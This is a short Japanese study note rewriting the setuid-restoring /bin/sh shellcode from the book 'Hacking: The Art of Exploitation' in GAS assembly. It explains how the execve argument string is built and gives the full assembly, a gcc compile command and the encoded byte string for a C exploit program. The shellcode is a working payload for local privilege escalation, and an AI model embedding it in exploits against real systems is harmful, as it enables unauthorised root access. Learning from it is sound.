NENote of Exploiting


2006-11-27 : Shellcode

 これは「Hacking:美しき策謀」で紹介されていたExploitのソースをGASで書き直したものである。特徴としてはシェルを起動する前にsetuidを使って権限の復帰を行っていることである。
 このソースが特にハックが効いてると思うのは文字列の構成のところである。文字列は次のように構成される。

/ b i n / s h 0 ADDRESS 0 0 0 0

 ADDRESSの部分には文字列の先頭アドレスが入る。execveシステムコールは引数にプログラムのパスの文字列、呼び出すプログラムへ渡す引数のアドレス、環境変数へのアドレスをとる。
 つまりこの例では/bin/shをパスとして引数にはパス名と同じものを指定、環境変数へのアドレスは指定しない。
 文字列完全に生成した段階で全ての文字列はNULLで終わっており、正常な文字列として認識される。/bin/shの後ろにもNULLがあり、ADDRESSの後ろにもNULLが存在する。非常にハックが効いていると言える。

[SC] shellcode.s


.globl main

main:
    xorl   %eax,   %eax
    mov    $70,    %al
    xorl   %ebx,   %ebx
    xorl   %ecx,   %ecx
    int    $0x80
    jmp    ONE

TWO:
    popl   %ebx
    xorl   %eax,   %eax
    movl   %eax,   7(%ebx)
    mov    %ebx,   8(%ebx)
    mov    %eax,   12(%ebx)
    mov    $11,    %al
    leal   8(%ebx),   %ecx
    leal   12(%ebx),  %edx
    int    $0x80

ONE:
    call    TWO
    .string "/bin/sh"

Exemplification

 次のように、「gcc」コンパイラを利用してshellcode.sをコンパイルする。

defolos@glazheim:~/Desktop$ gcc -o shellcode shellcode.s

 これを次のようにC言語のExploitプログラム([SC] exploit.c)に埋め込む。


char shellcode[]=
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16"
"\x5b\x31\xc0\x89\x43\x07\x89\x5b\x08\x89\x43\x0c"
"\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80"
"\xe8\xe5\xff\xff\xff"
"\x2f\x62\x69\x6e\x2f\x73\x68"
;

 root権限の奪取などはNASMで行った実験と同じ結果であるため割愛する。

References

Copyleft (C) 2007 Len. All Rights Not Reserved.